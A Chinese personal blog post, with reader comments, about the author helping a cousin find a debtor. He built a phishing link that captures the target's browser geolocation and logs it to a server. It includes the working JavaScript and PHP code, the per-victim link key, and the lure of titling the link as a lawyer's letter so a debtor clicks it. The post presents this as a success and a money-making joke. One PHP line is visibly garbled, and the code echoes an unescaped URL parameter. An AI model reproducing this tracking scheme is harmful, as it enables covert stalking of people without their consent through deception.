WangMao's Blog

Create more bugs.

记一次定位找人

抖机灵系列 10 评
Update: 2018-12-17,最近又有亲戚朋友需要这个功能,把代码提炼的一下,可以在链接中加入唯一 key。另外说一下主流浏览器似乎 HTTP 获取不到位置权限?

背景

昨天下午,在家闲的蛋疼,准备写一个自己的项目,想在年前给自己一个礼物(我才不会说这项目我拖了好久了,懒癌晚期我也很绝望)。打开环境,正当我提臀收腹摆好姿势准备开始写的时候。

我一个大表哥微信突然找我了,菊花一紧。毕竟这不经常联系的朋友突然找你肯定没啥好事儿,无事不登三宝殿。颤抖的划开微信,对话如下:

表哥:在?现在有没有手机定位的软件?

我:应该有,问问我朋友。

我一想,你这是要跟踪谁呀?没多想,便跑去问我一个会做 Android APP 的朋友。正在讨论打包隐藏图标,后台自动唤醒,定时发送地理位置等等一大堆技术实现问题的时候。

还没等我问完,表哥又回消息了。

表哥:我有他车牌号。

我:?

表哥:还有他手机号和微信号。

我:??

我:你找他干嘛啊?

表哥:他欠我钱,法院都在找他。

我:我能做的是在他手机上安装一个 APP。

表哥:我能找他还让你定位?

对不起!公安和电信我能拿到接口我还敲什么代码,早就坐着收钱了。

和我大表哥聊完,正准备写我的项目,表哥又来消息了。

表哥:有人给我推了一个微信号,可以做定位的。

表哥:需要跟踪定位可以安装公司定位软件到自己手机里,以后不管这个人去哪儿都能跟踪监控,费用 1000 元先交定金 400 元,十分钟绑定到你手机,可长期使用,没有额外费用。

表哥:[视频](骗子的空壳 APP 介绍视频)

表哥:[视频](骗子的截取电影里定位视频)

我:这是骗子,你放心的去吧。

表哥:。。

表哥:怎么可能喔。

我去,这么赤裸裸的骗术你都能相信,我这就很绝望了,你是愿意相信他也不相信我是吧?

那好吧,终极大招。

我:那你让他定你的位置看看,还让你交定金就直接删掉。

表哥:嗯,好。

我就不信这骗子还能怎么编理由。我就不信你今天还真把位置给定出来了。

然而,十分钟后。

表哥:你看,真的可以定位!

表哥:[图片](骗子发的表哥地图位置)

我顿时就诧异了,脑海里第一个想的是你不会被人给装上啥软件了吧?

我:他没给你发软件吧?

表哥:没有啊,真的定位到我的位置了。

背后冷汗惊起,莫非这人真是大佬?抓微信包分析地理位置?这么玄乎?

我还是不敢相信,社会乱套成这样了?一个手机号、微信号就能随便定位别人的详细位置?

我:把你和他的聊天记录我看看。

表哥:图片

我:。。。

看到聊天记录我瞬间惊呆,还有这操作。人家让你点你就点?这特么的不就获取你的地理位置了吗?

我:这么 low 的操作?这我也可以呀。

表哥:那好呀,你快帮我做,我晚上要去找他。

我:那个。。

实现

首先能利用的是 HTML5 的地理位置接口,和一个后端进行保存日志。

不过 HTML5 的地理位置接口 需要用户手动确定权限,这肯定是有风险一半一半,没办法。

前端部分代码

// index.php
.
.
.
<script>
function getLocation()
{
    console.log('start...');
    if (navigator.geolocation)
    {
        console.log('authorization...');
        navigator.geolocation.getCurrentPosition(showPosition);
    }else{
        console.log('failed...');
        $.post('/backend.php', {
            'key': "<?php echo $_GET['key'] ?? 'unknow';?>",
            'message': "Permission denied.",
        }, function() {}, 'JSON');
    }
}

function showPosition(position)
{
    console.log('success...');
    $.post('/backend.php', {
        'key': "<?php echo $_GET['key'] ?? 'unknow';?>",
        'message': "Bingo!",
        'latitude': position.coords.latitude,
        'longitude': position.coords.longitude
    }, function() {}, 'JSON');
}

getLocation();
</script>

后端部分代码

<?php
file_putypecho_contents('./location.log', '[' .date("Y-m-d H:i:s") .'] '. $_POST['key'] . '-' . $_POST['message'] . ' ' . json_encode($_POST) . PHP_EOL , FILE_APPEND);

监听日志

$ tail -f location.log

对,没错,这么 low 的代码,居然敢卖 1000。

对着朋友测试了一下,精确度有点低,大概差个 1 KM 吧。。

精度比较:PC <= 打开 Wi-Fi 设备 < 打开移动数据的设备

看来我得申请个小号去卖定位了,还写什么代码。

后续

晚上,我哥给发消息,让我把字(title)改一下,就是那个连接分析后的标题,最开始我给的是新闻,但是想想,谁没事儿蛋疼点你无关痛痒的新闻呐。于是。。

律师函

我太佩服我自己脑洞了,先不管对不对,看见这标题你慌不慌?何况还是一个躲债的人。你点不点?

然后呀,我哥就发给他了,立马上钩,日志就刷刷刷有反应了,一分钟内点了五次。为什么?因为打开是空白呀!(我似乎能脑补出他当时的场景,哈哈哈哈哈哈。。。)

日志

高兴的复制上经纬度,打开高德地图。Bingo~

定位地址

现在是能定位了,不过精度并不高,只能慢慢去找。

我:定出来了,你去看看。

表哥:好,我现在在路上。

我:你过去怎么找他?

表哥:找车牌呀。

我:。。

那就祝你好运咯,手动微笑脸。就这样,明天还要上班,就很早就睡了。

第二天。

表哥:你定的那个位置不准呀,我找了一晚上都没找到。

我:经纬度肯定有误差的,可能定的是附近的基站的位置。

表哥:。。

表哥:要不我再把链接给他发一次?

我:同样的套路别人能上当几次?

然后他还是发过去了,然而,日志再也没有增加一个字符。对此,我深表遗憾,没办法。怪我没有公安或电信的接口,再次手动微笑。你以为这就完了?

才不!不然我会来更新博文?

表哥:找到他了。

我:嗯嗯,好。

表哥:就在定位的附近。

我:哈哈,过年回来找你要红包!

总结

这次事件真的让我感触颇深,第一,帮朋友家人修电脑一类的,搞好了皆大欢喜,那你要是搞不好。。“看来你技术还没到家呀!”、“你能力还不够呀!我听人家说XXXX”,反正就是各种姿势嘲讽,站在道德制高点认为帮他是你的本分,拜托我一个写代码的你为难我干啥;第二,最重要的一点,不!要!点!开!陌!生!的!链!接!

你永远不知道屏幕背后的是人是狗。——我也不知道谁说的
Vim 笔记
10 评论
    QSongChrome 103OSX
    2018年02月12日回复

    吓得我..我..我..想了想
    等我评论完,
    是不是就可以顺着网线来我家做客、吃团年饭了嘞:bowtie:

    小轲Chrome 103OSX
    2018年02月13日回复

    这种技术,李时珍的皮啊。

    kidultffChrome 103OSX
    2018年02月15日回复

    惊呆了,还有这种操作.....
    感谢博主分享的商机...我是不是也可以申请个小号卖定位哈哈哈哈
    还有祝博主新年快乐呀

    东方有鱼名为咸Chrome 103OSX
    2018年02月15日回复

    哇 。。。这也敢点!!!厉害了!

    新年快乐!祝你2018一路发发发发!

    Mao WangChrome 103OSX
    2018年02月16日回复

    @DOUBIGROUP @a2501521908 @kidultff @Mr-xn 哈哈,感谢各位,新年快乐~

    奇趣保罗Chrome 103OSX
    2018年02月22日回复

    66666 说明这个安全问题还是非常不容忽视的呀

    、 这不科学Chrome 103OSX
    2018年02月25日回复

    有意思

    LukaChenChrome 103OSX
    2018年03月01日回复

    前阵子我也做过和定位相关的项目,用h5的接口每次获取位置信息都会弹一个获取用户地理位置的提示。不过为了解决你大表哥的问题,这个故事看下来倒也是挺有意思的,哈哈,厉害了小哥哥~

    JingerChrome 103OSX
    2018年07月25日回复

    妙啊

    Mao WangChrome 103OSX
    2018年07月26日回复

    @Dreamer-Paul @xiaoxiao44443 @chenlongqiang @hubojing 啊哈哈哈,走走走,卖定位去。